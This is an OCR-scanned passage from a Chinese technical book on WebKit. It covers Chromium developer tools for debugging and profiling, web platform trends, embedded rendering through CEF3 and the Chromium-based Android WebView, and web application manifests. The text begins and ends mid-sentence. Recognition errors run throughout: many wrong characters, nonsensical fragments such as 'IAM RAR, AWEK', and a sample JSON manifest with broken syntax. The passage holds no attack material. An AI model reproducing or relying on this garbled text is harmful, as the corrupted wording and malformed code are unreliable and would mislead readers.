和 调试 的 位 置 ， 开 发 者 可 以 单 击 左 侧 的 行 数 设置 或 者 取消 断 点 ， 网 页 束 
能 够 在 执行 到 该 行 的 时 候 停 下 来 。 右 侧 最 上 面 是 控制 执行 的 各 种 按钮 ， 
包括 继续 执行 、 单 步 执行 、 进 入 内 部 、 跳 出 等 。 下 面 则 是 各 种 信息 ， 包 
括 查 看 的 变量 值 、 调 用 栈 、 当 前 作用 域 中 的 变量 值 、 断 点 信息 等 。 所 
以 ， 这 个 调试 功能 跟 其 他 语言 调试 器 比较 类 似 。 














值得 一 提 的 是 ， 其 实 这 个 网 页 的 代码 部 是 在 一 行 的 ， 所 以 看 起 来 非 
常 吃力 和 不 方便 ， 对 此 现象 Chromium 提 供 了 一 个 很 方便 的 功能 ， 能 够 
将 这 些 代码 从 一 行 变 成 可 读 性 非常 强 的 代码 ， 束 是 图 14-11 所 示 的 结果 
原来 所 有 JavaScript 代 码 都 在 一 行 ， 非 常 难 全 ) ， 有 基体 的 做 法 是 在 开发 
者 工具 的 最 下 面 找到 “{}” 按 钮 ， 单 击 即 可 ， 非 第 实用 。 





14.2.2 ”性 能 调试 


除了 修改 网 页 的 DOM 结 构 和 和 CSS 样式 ， 以 及 调试 JavaScript 代 码 之 
外 ， 开 发 者 工具 还 能 够 帮助 网 页 开发 者 改善 性 能 和 内 存 等 方面 的 问题 。 
性 能 方面 包括 网 络 资源 的 加 载 性 能 、 网 页 绘制 的 性 能 ， 甚 至 包括 根据 网 
页 加 载 和 演 染 过 程 给 出 一 些 优化 建议 。 内 存 方面 主要 是 网 页 使 用 的 总 内 
存 、JavaScript 引 擎 堆栈 内 存 使 用 情况 等 方面 的 信息 。 





首先 来 看 性 能 方面 。 关 于 网 络 资源 加 载 的 分 析 和 网 页 绘制 在 第 4 章 
和 第 8 章 中 做 过 一 些 介绍 ， 其 基本 功能 已 经 展示 出 来 了 。 这 些 功能 只 是 
开发 者 可 能 需要 解决 的 一 部 分 问题 ， 开 发 者 工具 还 提供 了 一 种 能 够 收集 
整个 网 页 工作 过 程 中 的 一 段 时 间 内 各 个 JavaScript 代 码 消耗 时 间 的 分 布 情 
况 。 开 发 者 先是 选择 “Profiles” 标 签 ， 然 后 选择 “Collect JavaScript CPU 
profile” 按 钮 ， 此 时 开发 者 工具 将 收集 被 调试 网 页 重新 加 载 的 整个 过 程 中 
CPU 消 耗 在 各 个 JavaScript 模 块 的 时 间 分 布 ， 如 图 14-12 所 示 。 
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图 14-12 使 用 开发 者 工具 收集 的 CPU 时 间 分 布 图 


其 中 “(program) ”是 主 网 页 的 HTMEL 文 件 所 消耗 的 时 间 ， 因 为 
HTML 文 件 中 内 髓 了 很 多 JavaScript 代 码 ， 所 以 它 占据 了 绝 大 部 分 时 间 ， 
而 其 他 一 些 JavaScript 文 件 则 只 占用 了 很 少 的 执行 时 间 。 


还 有 一 个 非 第 有 用 的 能 力 ， 束 是 使 用 开发 者 工具 中 的 “Audits” 功 
能 ， 图 14-13 展 示 了 “Audits” 分 析 一 个 网 页 所 生成 的 结果 ， 它 明确 了 4 个 
关于 网 络 方面 和 1 个 关于 网 页 演 染 性 能 方面 的 问题 可 以 进行 优化 ， 这 对 
改善 网 站 性 能 来 说 是 一 个 极 大 的 福音 。 


Elements Resources Network Sources Timeline Profiles Audits) Console PageSpeed 


¥ Network Utilization 
@ » Leverage browser caching (3) 
RESULTS » Leverage proxy caching (3) 


() Audits 
YA 


» Minimize cookie size 

F Specify image dimensions (1) 
¥ Web Page Performance 

» Remove unused C55 rules (9) 





图 14-13 开发 者 工具 的 “Audits” 功 能 


其 次 来 看 关于 内 存 性 能 分 析 功 能 。 如 前 所 述 ， 开 发 者 工具 不 仅 提供 
了 网 页 整体 使 用 内 存 的 情况 ， 也 提供 了 分 析 JavaScript 引 擎 内 部 堆 上 的 内 
存 使 用 情况 。 图 14-14 是 笔者 在 单 击 “ 开 始 ” 按 钮 之 后 ， 重 新 加 载 网 页 所 
收集 的 内 存 使 用 情况 ， 它 是 按照 时 间 轴 来 显示 的 。 
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图 14-14 开发 者 工具 收集 网 页 使 用 内 存 情况 的 示意 





可 以 看 出 ， 在 茶 个 时 间 点 之 后 内 存 的 使 用 量 突然 增 大 ， 这 是 因为 在 
前 面 一 小 段 时 间 内 ， 由 于 还 没有 开始 重新 加 载 网 页 ， 所 以 没有 出 现 内 存 


大 幅 增 长 的 情况 。 在 单 击 “开始 ”按钮 和 重新 加 载 网 页 ，WebKit 在 等 待 网 
络 啊 应 之 后 才 会 逐渐 增加 对 内 存 的 需求 。 当 网 络 下 载 数据 完成 时 ， 
WebKit 使 用 内 存量 也 在 增加 。 而 WebKit 完 成 泻 染 之 后 ， 解 释 过 程 中 的 
某 些 结构 不 再 需要 ， 这 些 不 需要 的 结构 被 销毁 后 内 存 就 会 降 到 一 个 稳定 
的 过 程 ， 图 中 上 半 部 分 的 曲线 束 古 反映 了 这 些 情况 。 


除 此 之 外 的 JavaScript 引 擎 内 部 的 内 存 分 析 工 具 ， 也 可 以 按照 类 似 的 
情况 来 处 理 ， 这 里 不 再 做 过 多 的 介绍 。 
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本 章 这 个 话题 其 实 有 点 大 ， 因 为 未 来 Web 前 端 及 展 成 什么 样 ， 可 能 
超过 所 有 人 的 想象 ， 束 像 之 前 很 难 知道 现在 HTML5 技 术 获 得 如 此 巨大 
的 推动 和 发 展 。 因 为 该 领域 的 内 容 实在 太 多 ， 笔 者 也 很 难 面面俱到 ， 因 
此 ， 这 一 章 将 着 重 切入 其 中 非常 重要 的 几 点 ， 那 就 是 藤 入 式 应 用 模式 、 
Web 应 用 及 其 背后 的 Web 运 行 环 境 等 方面 的 思考 ， 下 面 通过 介绍 现在 的 
技术 进展 和 分 析 一 些 趋势 ， 和 读者 一 起 一 颖 未 来 可 能 发 生 的 巨大 变化 。 





15.1 趋势 





说 到 Web 方 面 的 趋势 ， 特 别 是 HTML5 获 得 的 巨大 发 展 ，W3C 和 





WHATWG 等 组 织 正在 不 停 地 推动 规范 的 演进 和 引入 新 的 规范 ， 这 一 举 
动 必 将 极 大 地 推动 Web 前 端的 发 展 。 就 目前 web 前 端 来 说 ， 各 种 类 型 的 
技术 非常 多 ， 极 容易 引起 大 家 的 误解 ， 有 鉴于 此 ， 结 合 笔者 自身 的 理 


解 ， 





总 结 出 一 些 比较 明显 的 趋势 同 大 家 分 享 ， 分 别 从 技术 上 和 方向 上 来 


解读 。 首 先 从 技术 上 来 讲 ， 大 致 包 括 以 下 一 些 可 能 。 


。 首先 ， 和 是 Web 能 力 的 逐渐 增强 。 越 来 越 多 的 本 地 功能 被 加 入 到 


JavaScript 中 去 ， 这 意味 Web 开 发 者 可 以 使 用 这 些 功 能 控制 Web 网 页 
的 行为 并 将 Web 前 端 扩展 到 更 为 广泛 的 应 用 场景 中 去 ， 例 如 多 媒体 
方面 ， 在 HIML5 之 前 ， 甚 至 需要 通过 插件 来 文 持 它们 ， 但 是 现在 
不 仅仅 能 够 播放 多 媒体 资源 ， 开 发 者 甚至 可 以 使 用 JavaScript 代 码 来 
开发 功能 更 强 、 范 围 更 广 的 Web 资 源 到 多 媒体 网 页 中 。 

其 次 ，Web 中 将 引入 并 行 计 算 的 能 力 ”。 现 在 的 JavaScript 只 能 串 行 
执行 ， 或 者 有 限 地 并 行 ， 如 使 用 Web Worker 技 术 ， 但 是 这 些 都 非常 
的 原始 ， 每 一 个 Worker 都 只 能 访问 有 限 的 资源 ， 而 且 Worker 之 间 通 
信 的 效率 非常 低 《〈 只 能 用 来 传递 消息 ) ， 离 真正 的 并 行 计 算 还 差 得 
非常 远 。 

再 次 ， 性 能 问题 ”。 对 于 性 能 方面 ， 也 是 开发 者 诉 病 最 多 的 地 方 之 
一 ， 因 为 泻 染 引 擎 的 复杂 性 和 本 映 JavaScript 语 言 的 某 些 特性 ， 使 得 
Web 网 页 和 应 用 的 性 能 存在 较 大 的 缺陷 ， 好 消息 是 现在 性 能 方面 已 
经 获得 长 足 的 进步 。 但 目前 web 的 性 能 还 有 很 多 可 以 提高 的 地 方 ， 
一 些 应 用 场景 还 是 离 本 地 应 用 有 不 小 的 距离 ， 还 有 很 长 的 路 需要 














走 。 同 时 ， 考 虑 到 开发 者 对 于 调试 性 能 的 需求 ， 标 准 化 组 织 也 在 制 
定 规范 来 帮助 收集 网 页 的 性 能 数据 ， 如 Navigation Timing、 
Resource Timing, User Timing 等 。 

最 后 ，Web 已 经 从 Web 网 页 向 Web 应 用 (Web Application) 方 问 
发 展 ”。 这 一 推动 需要 加 入 大 量 现 有 操作 系统 提供 的 能 力 ， 所 以 各 
种 不 同 的 本 地 能 力 通过 JavaScript 接 口 提 供给 web 前 端 开 发 者 。 例 如 
各 个 传感器 的 功能 已 经 通过 JavaScript 接 口 提 供给 了 Web 应 用 。 除 此 
以 外 还 有 文件 或 者 存储 系统 、 用 户 交 互 、 网 络 连 接 、 应 用 的 生命 周 
期 、 安 装 和 蔓 载 等 管理 ， 这 些 方面 有 些 已 经 比较 成 熟 ， 但 是 还 有 很 
多 的 功能 在 制定 过 程 中 。 虽 然 标准 化 组 织 将 继续 加 入 新 标准 ， 但 是 
现在 还 有 很 多 缺失 的 地 方 需要 补 上 。 








下 面 主 要 从 大 方向 上 来 讲 ， 主 要 包括 以 下 一 些 可 能 的 趋势 。 


首先 是 平台 化 策略 : 支撑 HTML5 技 术 的 框架 已经 从 浏览 器 向 Web 
运行 平 侣 快速 汗 进 ， 这 是 一 个 非常 重大 的 转弯。 因为 在 此 之 前 浏览 
名 只 是 运行 网 页 而 已 ， 而 Web 运 行 平台 可 以 管理 和 运行 Web 应 用 ， 
也 就 是 HTML5 技 术 能 够 开发 出 同 本 地 应 用 能 力 一 样 的 应 用 程序 ， 
所 以 对 于 上 面 提 到 的 大 部 分 功能 都 需要 Web 平 台 文 持 ， 而 浏览 需 却 
并 不 一 定 文 持 这 些 功 能 。 虽 然 现在 很 多 Web 运 行 平 台 是 从 浏览 右 基 
而 上 开发 的 ， 但 是 这 并 不 意味 着 两 者 是 同一 回 事 。 

其 次 是 移动 化 : HIML5 目 前 在 移动 领域 得 到 了 长 足 的 发 展 ， 很 多 
新 技术 都 是 从 移动 领域 发 展 起 来 的 ， 如 各 种 传 感 融 功能 等 。 移 动 领 
域 的 这 些 创 新 已 经 并 将 继续 极 大 地 推动 HTML5 的 发 展 。 就 目前 而 
言 ， 因 为 移动 领域 的 高 速 发 展 和 商店 模式 ， 使 得 现实 中 存在 众多 不 
同 的 操作 系统 、Web 应 用 ， 恰 好 能 够 提高 路 操作 系统 的 能 力 ， 很 多 
开发 者 可 以 使 用 HTML5 技 术 来 开 肥 应用， 并 方便 地 发 布 到 不 同 的 
































应 用 商店 ， 可 以 说 移动 领域 是 HTML5 不 停 向 前 发 展 的 一 个 重要 推 
动力 。 

再 次 是 向 不 同 应 用 领域 渗透 : HIML5 技 术 目 前 能 够 满足 一 些 领 域 
的 需求 ， 这 些 领域 将 会 为 此 得 到 快速 发 展 。 对 于 目前 一 些 热门 领域 
如 游戏 而 言 ， 因 为 游戏 对 功能 和 性 能 有 非常 蜗 的 要 求 ， 所 以 浏览 器 
和 Web 平 台 对 于 游戏 的 支持 成 为 一 个 非常 重要 的 及 展 方向 。 同 时 ， 
如 果 满 足 了 游戏 领域 的 要 求 ， 这 束 意 味 看 可 以 促进 HTML5 拉 术 进 
入 更 多 的 领域 。 

最 后 ，Web 和 HTML5 技 术 : IAM RAR, AWEK 
跨 平 台 性 和 低 成 本 性 ， 很 适合 将 它 应 用 在 电视 、 车 载 系统、 家 用 电 
帮 等 领域 。 在 这 些 和 入 式 应 用 场景 中 ， 系 统 只 需要 文 持 Web 技 术 ， 
就 能 够 轻易 运行 众多 Web 应 用 ， 这 有 利于 降低 企业 成 本 。 

















以 上 这 些 技术 和 方向 ， 每 个 都 可 以 花费 很 多 篇 幅 去 介绍 和 描述 筷 
们 ， 本 章 主要 是 想 着 重 从 Web 应 用 和 Web 运 行 平台 两 个 最 重要 的 地 方 着 
手 ， 痢 重 介绍 目前 的 一 些 进展 ， 未 来 的 发 展 路 程 将 会 很 长 ， 笔 者 布 望 和 
读者 一 起 关注 它们 。 当 然 ， 如 采访 者 完全 相信 了 笔者 这 些 关 于 趋势 的 描 
述 并 且 认 为 Web 前 端 束 是 这 些 变 化 ， 那 还 是 赶紧 从 其 中 摆脱 出 来 吧 ， 因 
为 它们 会 阻碍 读者 的 思维 。 笔 者 建议 大 家 理 一 理 上 自己 的 思路 ， 可 能 会 发 
现 更 多 有 价值 的 方向 值得 投入 ， 千 万 不 要 被 这 里 的 趋势 所 固化 。 








15.2 网 入 式 应 用 模式 


15.2.1 ARIA 


读者 可 能 会 奇怪 本 章 重 点 表达 的 是 Web 应 用 和 Web 运 行 平台 ， 为 什 
么 会 介绍 内 入 式 模 式 (Embedded Mode) W? 这 是 因为 很 多 Web 运 行 平 
台 是 基于 仍 入 式 模 式 的 接口 开发 出 来 的 ， 所 以 这 里 先 解释 一 下 什么 叫做 
是 租 入 式 模 式 ， 并 了 解 一 些 典 型 的 案例 。 





因为 通常 来 讲 浏览 器 是 一 个 本 地 应 用 程序 ， 当 用 户 打开 一 个 网 页 
时 ， 它 提供 可 视 化 界面 。 但 是 ， 很 多 其 他 本 地 应 用 程序 “如 邮件 客户 端 
使 用 该 接口 来 打开 邮件 ， 因 为 有 些 邮 件 是 使 用 HTML 格 式 来 编写 的 ) 希 
望 使 用 网 页 泻 染 和 HTML5 的 功能 ， 同 时 又 不 需要 浏览 器 的 某 些 功能 
(如 标签 管理 等 ) ， 这 时 它们 希望 泻 染 引擎 能 够 提供 一 组 接口 ， 本 地 应 
用 程序 能 够 使 用 这 些 接口 来 演 染 网 页 ， 同 时 又 能 使 用 本 地 代码 编写 其 他 
一 些 能 力 ， 这 就 是 舱 入 式 应 用 模式 。 所 谓 的 舱 入 式 模式 是 指 ， 在 渲染 引 
擎 之 上 提供 一 层 本 地 《如 C++ 或 者 Java) 接口 ， 这 些 接口 提供 了 泻 染 网 
页 的 能 力 ， 泻 染 的 结果 被 绘制 到 一 个 控件 或 者 子 窗口 中 ， 本 地 应 用 通过 
本 地 接口 来 获得 泻 染 网 页 的 能 














目前 租 入 式 应 用 模式 被 广泛 地 使 用 ， 很 多 本 地 应 用 都 雷 要 有 能 力 泻 
染 网 页 ， 下 面 介绍 两 个 非常 典型 的 基于 Webkit 泻 染 引 擎 的 散 入 式 接口 或 
者 说 是 框架 。 





15.2.2 CEF 


CEF 全 称 Chromium Embedded Framework， 它 是 一 个 开源 项 目 ， 目 
的 是 提供 一 套 代 入 式 的 本 地 代码 (C/C++ 等 ) 编程 接口 ， 最 初 的 版 本 是 
基于 早期 的 Chromium 开 源 项 目 中 的 RendererHost 类 和 很 多 其 他 内 部 接口 
开发 而 来 的 ， 这 些 内 部 接口 变化 很 大 ， 而 且 是 单 进程 架构 。 在 新 的 
CEF3 中 ， 它 主要 依赖 于 相对 稳定 的 Content API 来 实现 的 。 








CEF 之 所 以 选择 Chromium 项 目 作 为 基础 ， 是 因为 Chromium 对 
HTML5 能 力 提供 了 非常 好 的 文 持 ， 并 且 Chromium 文 持 Windows、 
MacOS 和 Linux 等 操作 系统 ， 所 以 CEF 项 目 被 众多 用 户 所 使 用 。 


为 了 清晰 地 了 解 WebKit、Chromium 和 CEF 之 间 的 关系 ， 图 15-1 描 述 
了 WebKit、content API、 浏 览 器 、Content Shell 和 CEF3 的 层次 关系 。 
Chrome} #4. Content Shell 和 CEF3 三 者 都 是 基于 Content API 开 发 的 ， 
它们 只 是 有 些 不 同 的 实现 ， 服 务 于 不 同 的 应 用 场景 而 已 。 


Content shell 
Content API 


Chromium Content 
内 部 实现 





HTMLS 和 其 他 功能 的 实现 部 分 


WebKit 移植 


图 15-1 CEF 在 Chromium 层 次 结构 中 的 位 置 





早 在 Content API 出 现 之 前 ，CEF 便 已 出 现 ， 它 能 够 提供 艇 入 式 的 框 
架 ， 可 以 让 演 染 网 页 的 功能 方便 地 内 入 到 应 用 程序 中 。CEF 依 赖 于 
Chromium 开 源 项 目 ， 所 以 Chromium 对 HTML5 的 支持 和 性 能 上 的 优势 ， 
都 得 以 继续 在 CEF 中 体现 出 来 。 但 是 ， 根 据 实 际 测试 的 结果 来 看 ， 对 于 
最 初 的 版 本 ， 情 况 可 能 并 非 如 此 。 首 先 ， 它 对 GPU 硬件 加 速 的 支持 不 是 
很 好 ， 这 是 因为 它 会 把 GPU 内 存 读 回 到 CPU 内 存 ， 速 度 非 常 慢 。 再 次 ， 
因为 基于 Chromium 的 接口 经 常 变 化 ， 所 以 CEF 经 常 需要 发 生变 化 ， 这 对 
维护 人 员 来 说 是 件 很 头痛 的 事 。 

















得 益 于 Content API 的 出 现 ，CEF 的 作者 也 基于 该 接口 开发 了 CEF3。 
CEF3 在 保持 其 提供 的 接口 基本 不 变 的 情况 下 ， 借 助 Content API 的 能 
力 ， 对 HTML5 和 GPU 硬件 加 速 提供 了 较 好 的 文 持 。 它 的 核心 变 为 调用 
Content ”API 的 接口 和 实现 Content ”API 的 回调 接口 ， 来 组 织 和 包装 成 
CEF3 自 己 的 接口 以 被 其 他 开发 者 所 使 用 。 其 好 处 是 ，CEF3 的 接口 相对 
比较 简单 ， 使 用 起 来 方便 ， 同 时 不 需要 实现 很 多 Content ”API 的 回调 接 
口 ， 缺 点 就 是 ， 如 果 需 要 使 用 Content API 的 很 多 功能 ，CEF3 的 接口 可 
能 做 不 到 ， 或 者 说 只 能 通过 直接 调用 Content API 接 口 来 完成 。 下 面 简 单 
介绍 一 下 CEF3 的 接口 类 。 





。 CefClient : 它 是 一 个 回调 管理 类 ， 包 含 5 个 接口 类 ， 用 于 创建 其 他 
的 回调 类 的 对 象 。CefLifeSpanHandler 回 调 类 ， 用 于 控制 弹出 对 话 
框 的 创建 和 关闭 等 操作 。CefLoadHandler 回 调 类 ， 可 以 用 来 监听 
frame 的 加 载 开 始 、 完 成 、 错 误 等 信息 。CefRequestHandler 回 调 
类 ， 用 于 监听 资源 加 载 、 重 定 同 等 信息 。CefDisplayHandler 回 调 
类 ， 用 于 监听 页 面 加 载 状态 、 地 址 变化 、 标 题 等 信息 。 
CefGeolocationHandler 回 调 类 ， 用 于 CEF3 癌 舱 入 者 申请 地 理 位 置 等 
权限 。 


e CefApp : 与 进程 、 命 令 行 参数 、 人 代理、 资源 管理 相关 的 回调 类 ， 
用 于 让 CEF3 的 调用 者 们 定制 目 己 的 迎 辑 。 

e CefBrowser : 它 是 Renderer 进 程 中 执行 浏览 相关 的 类 ， 如 网 页 的 前 
HE. 后 退 等 ; 

e CefBrowserHost : Browser 进 程 中 的 执行 浏览 相关 的 类 ， 它 会 把 请 
求 发 送 给 CefBrowser 类 。 

。 CefFrame : 该 类 表示 的 是 页 面 中 的 一 个 网 页 框 (Frame) ， 可 以 加 
载 特定 URL， 在 该 运行 环境 下 执行 JavaScript 代 码 等 。 

e V83 : CEF3 提 供 文 持 V8 扩展 的 接口 ， 但 是 这 里 有 两 个 限制 。 第 
一 ，V8 扩展 仅 在 Renderer 进 程 使 用 ;第 二 ， 仅 在 沙 箱 模 型 关闭 时 才 
使 用 。 

















CEF 项 目 昌 然 不 是 特别 复杂 ， 但 是 因为 而 来 了 好 处 ， 使 得 它 受 到 了 
开发 者 的 欢迎 ， 特 别 是 在 果 面 系统 中 使 用 它 来 泻 染 HTML5 网 页 。 


15.2.3 Android WebView 


熟悉 Android 系 统 和 HTML 编程 的 开发 者 可 能 听 说 过 Android 提 供 的 
一 个 重要 类 android.webkit.WebView， 它 继承 于 View 类 (一 个 视图 控件 
K) ， 这 是 它 同 其 他 很 多 控件 的 相似 之 处 。 不 同 之 处 在 于 ， 它 能 够 用 来 
演 染 网 页 。WebView 是 一 个 典型 的 散 入 式 模式 的 接口 。 当 前 (也 就 是 
Android 4.3 以 前 的 版 本 ) ，WebView 本 身 只 是 一 个 编程 接口 ， 它 的 内 部 
实现 是 基于 现 有 的 默认 WebKit 内 核 〈(Android 默 认 浏 览 器 是 基于 
WebView 构 建 ) ， 虽 然 它 们 都 叫 WebKit， 但 不 同 于 Chromium 所 使 用 的 
WebKit 内 核 。 








目前 ，WebView 被 广泛 应 用 在 众多 的 Android 本 地 应 用 程序 中 ， 通 


常 笔者 称 之 为 混合 应 用 程序 。 遗 憾 的 是 ， 它 对 HIML5 的 文 持 不 是 特别 
好 ， 而 且 也 没有 新 的 功能 被 加 入 进来 ， 同 时 ，Chromium 的 Android 版 下 
在 积极 回 前 发 展 ， 更 多 针对 该 平台 的 HTML5 能 力 和 优化 已 经 逐步 被 实 
现 和 采用 ， 那 么 是 否 也 可 以 使 用 Chrome 的 内 核 来 实现 该 WebView 呢 ? 

答案 当然 是 肯定 的 。 





目前 ， 该 项 目 已 经 启动 并 取得 了 良好 进展 ， 核 心思 想 在 于 保持 
WebView 的 接口 兼容 性 ， 同 时 将 内 部 的 实现 从 当前 默认 WebKit 内 核 变 
成 了 Chromium 的 内 核 ， 但 是 原 有 的 WebViewAPI 保 持 不 变 ， 这 样 对 于 
WebView 的 用 户 来 襄 ， 调 试 代 码 时 不 需要 做 任何 改变 ， 便 可 以 使 用 功能 
更 多 性 能 更 好 的 泻 染 内 核 了 。 在 Android KitKat 4.4 版 本 后 ，Google 公 司 
已 经 使 用 Chromium 项 目 来 实现 WebView 接 口 ， 不 过 它 仍 然 同 Chrome 的 
Android 版 浏览 器 存在 比较 大 的 区 别 ， 如 进程 模型 《Chromium 的 
WebView 使 用 单 进程 》、 不 同 绘图 模型 、 功 能 文 持 ‘Chromium 的 
WebView Android 。 4.4 中 不 支持 WebGL、WebRTC 和 WebAudio 等 ) 等 
方面 存在 比较 大 的 差异 ， 而 且 性 能 也 不 是 很 好 。 








开发 者 可 以 通过 编译 目标 “android_webview_apk” 来 尝试 一 下 它 的 功 
能 ， 这 也 是 基于 WebView 的 一 个 简单 的 应 用 程序 实例 ， 束 如 同 Content 
模块 和 Content Shell 的 关系 。 不 过 这 不 是 真正 的 WebView 的 实现 ， 因 为 
Chromium 的 WebView 仍 然 要 求 同 Android 的 系统 代码 一 起 编译 ， 这 里 只 
是 一 个 简单 的 测试 APK。 


初 看 一 下 ， 目 前 的 代码 结构 如 下 图 所 示 ， 在 Content API 之 上， 
Chromium 的 WebView 实 现 了 封装 一 个 新 类 AwContents， 该 类 主要 基于 
ContentViewCore 类 的 实现 。 


AwContents 提 供 的 不 是 WebView 的 接口 ， 所 以 ， 需 要 一 层 桥接 部 


分 ， 将 AwContents 桥 接 到 WebView， 这 就 是 图 15-2 中 的 桥接 模块 ， 该 模 
块 位 于 Android 源 代码 中 ， 目 前 已 经 开源 (Android 4.4 代 码 树 ) ， 开 发 者 
可 以 尝试 自行 编译 。 


android.webkit.WebView 


桥接 层 : AwContents 到 WebView 


Android AOSP 





; F AwContents 
Chromium Project 


Content Browser Components 


Blink 


图 15-2 基于 Chromium 的 WebView 层 次 结构 图 


AwContents 同 样 也 是 基于 Content API 开 发 的 ， 在 这 点 上 ， 它 同 
Content ”Shell 和 Chromium 浏 览 器 没有 大 的 不 同 ， 区 别 在 于 它们 对 很 多 
Content API 接 口中 的 回调 类 实现 不 同 ， 这 是 Content API 用 于 让 使 用 者 参 
与 内 部 逻辑 和 实现 的 过 程 。 有 具体 来 说 ， 它 主要 有 以 下 三 个 方面 的 不 同 。 








。 第 一 是 泻 染 机 制 。 : 因为 WebView 提 供 的 是 一 个 View 探 件 ， 那 么 
View 控 件 所 在 的 容器 可 能 需要 该 View 控 件 将 泻 染 结果 保存 在 内 存 
中 (如 位 图 ) ， 或 者 是 保存 在 显存 中 《〈 如 Surface 对 象 ) ， 所 以 ， 
WebView 需 要 提供 两 种 不 同 的 泻 染 输出 结果 。 那 么 是 否 意味 着 
WebView 提 供 软件 演 染 和 GPU 人 硬件 泻 染 两 种 方式 呢 ? 答案 是 否定 
的 。 目 前 ，Chromium 的 Android 版 不 提供 网 页 软件 演 染 ， 只 有 GPU 
硬件 演 染 一 种 方式 ， 其 泻 染 的 结果 由 合成 器 生成 。 那 么 ， 如 何 生成 
位 图 呢 ? 最 初 是 通过 OpenGL 图 形 库 提 供 的 回 读 (Readback) 方式 




















生成 。 当 合成 器 每 合成 一 帧 的 时 候 ，AwContents 类 将 该 帧 保存 在 一 
个 存放 在 CPU 内 存 中 的 链表 中 ， 当 用 户 界 面 需 要 和 章 新 绘制 的 时 候 ， 
便 把 当前 的 图 片 取 出 ， 绘 制 在 当前 控件 的 Canvas 对 象 中 。 不 过 ， 这 
样 做 会 导致 其 性 能 低 效 ， 所 以 这 只 是 一 个 临时 方案 。 在 最 新 的 代码 
中 ，Chromium 即 将 引入 一 种 新 机 制 ， 能 够 支持 输出 到 CPU 内 存 

中 。 

第 二 是 进程 模型 : 目前 WebView 只 支持 单 进程 方式 ， 未 来 应 该 也 
不 会 文 持 多 进程 方式 。 单 进程 意味 着 没有 办 法 使 用 Android 的 
isolated UID 机 制 ， 因 此 ， 某 种 程度 上 来 讲 ， 其 安全 性 降低 了 ， 而 且 
页 面 的 泻 染 朋 省会 导致 使 用 WebView 的 应 用 程序 朋 溃 。 

第 三 对 系统 库 和 内 部 接口 的 依赖 : 目前 Chromium WebView 使 用 了 
Android 系 统 的 一 些 内 部 库 ， 上 典型 的 如 Skia 图 形 库 (通常 系统 中 的 
Skia 图 形 库 版 本 较 旧 ， 性 能 没有 最 新 的 好 〉 ， 这 使 得 性 能 方面 存在 
某 些 问题 。 同 时 ，Chromium ”WebView 还 依赖 一 些 系 统 内 部 的 接 
口 ， 这 些 接 口 使 得 它 不 能 用 Android SDK 和 NDK 来 编译 。 
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15.3 Web 应 用 和 Web 运 行 环境 


15.3.1 Web 应 用 


HTML5 提 供 了 强大 的 能 力 ， 而 不 是 文 持 Web 网 页 这 么 简单 。 就 目 
前 而 言 ， 它 已 经 初步 提供 了 文 持 Web 网 页 同 Web 应 用 方 同 发展 的 能 
相对 于 本 地 应 用 (Native Application) ，Web 前 端 领域 也 能 够 提供 编写 
应 用 程序 的 能 力 了 。 前 面 提 到 了 移动 领域 是 HTML5 重 点 关注 的 一 个 方 
癌 ， 在 W3C 中 ， 甚 至 成 立 了 一 个 工作 组 专门 跟踪 和 关注 移动 领域 Web 应 
用 所 需要 各 项 技术 的 进展 情况 : http:/www.w3.org/2013/06/mobile-web- 
app-state/。 











很 多 技术 对 于 Web 网 页 和 Web 应 用 是 共享 的 ， 如 基础 演 染 工作 、 
Canvas2D、WebGL 、CSS、 音 视频 等 ， 但 是 还 有 众多 的 技术 是 为 Web 应 
用 设计 的 ， 如 Web manifest 规 范 、 运 行 模型 规范 等 。 








根据 W3C 规 范 的 定义 ， 可 以 将 Web 应 用 分 成 两 种 类 型 ， 第 一 种 称 为 
Packaged Application， 也 就 是 该 应 用 包含 了 自身 所 需要 的 所 有 资源 ， 包 
括 HTML、CSS、JSS 及 各 种 图 片 等 资源 ， 这 意味 着 该 应 用 不 需要 网 络 就 
能 运行 。 第 二 种 称 为 Hosted Application， 不 是 Packaged Application 类 型 
的 应 用 都 属于 此 类 ， 所 以 也 就 是 说 它 包 含 了 一 些 外 部 的 资源 。 为 什么 会 
如 此 划分 ? 主要 是 针对 需求 和 安全 方面 的 考虑 ， 后 面 会 介绍 到 。 











在 一 些 应 用 场景 下 需要 Packaged Application 类 型 ， 第 一 是 因为 应 用 
市 场 的 需要 ， 很 多 市 场 需 要 审核 应 用 使 用 哪些 权限 ， 而 不 是 无 限制 地 使 











用 任何 平台 提供 的 能 力 ， 这 点 对 于 安全 性 尤为 重要 。 第 二 是 因为 开发 者 
的 需要 ， 使 用 Web 前 六 浊 和 HITMLS 技 术 并 发 并 不 意 味 着 需要 提供 服务 器 
并 把 Web 应 用 布置 在 服务 器 上 。 像 本 地 应 用 一 样 ，Web 应 用 也 能 够 独立 
地 工作 。 第 三 是 因为 用 户 的 需要 ， E 
能 够 使 用 该 应 用 ， 不 要 像 很 多 本 地 应 用 一 样 ， 一 旦 离线 就 不 能 使 用 ， 这 
点 对 于 用 户 体 验 是 个 考验 ， 对 于 中 国 等 市 场 尤其 重要 。 

















与 普通 网 页 不 同 的 是 ， 一 个 Web 应 用 通常 包含 一 个 称 为 清单 
(Manifest) 的 文件 ， 访 文件 的 目的 跟 很 多 系统 如 Android 上 的 应 用 程序 
的 清单 文件 类 似 ， 束 是 为 了 定义 该 应 用 的 一 些 信 息 。 示 例 代 人 码 15-1 是 一 
个 Web 应 用 的 简单 清单 文件 ， 参 考 了 W3C 官 网 的 一 些 说 明 ， 并 做 了 一 些 
修改 。 


ee Object Notation) 格 
式 的 文件 ， 它 主要 是 属性 和 属性 值 的 配对 ， 该 类 文件 是 由 W3C 的 规范 来 
定义 的 ， 示 例 代码 15-1 中 列 出 了 一 pee eta 下 面 逐 次 来 
分 析 和 理解 它们 。 





示例 代码 15-1 一 个 简单 的 清单 文件 


{ 
"name": "WebKit 技 术 内 幕 "， 
"description": "介绍 WebKit 内 部 技术 和 原理 " 














(es 
yet 





"launch_path": "/index.html", 
"version": "0.1", 
"icons": { 


"16": "/img/icon.png", 


"screen_size": { 
"min_width": "600", 
"min_height": "600" 
ty 
"fullscreen": "true", 
"required_features": ["touch", "geolocation", "webgl"], 
"permissions": { 
"contacts": { 


"access": "read" 


ty 
5 








首先 是 应 用 基本 信息 的 设置 ， 包 括 名 称 “name”、 描 
述 “description”、 加 载 入 口 文件 "aunch_path”、 版 本 “version”、 图 
标 *icons”( 规 范 甚 至 允许 设置 多 个 不 同 分 辨 率 的 图 片 ) 、 窗 口 大 
小 “screen_size”、 人 全屏“fullscreen”。 之 后 是 该 应 用 需要 使 用 的 功能 和 权 
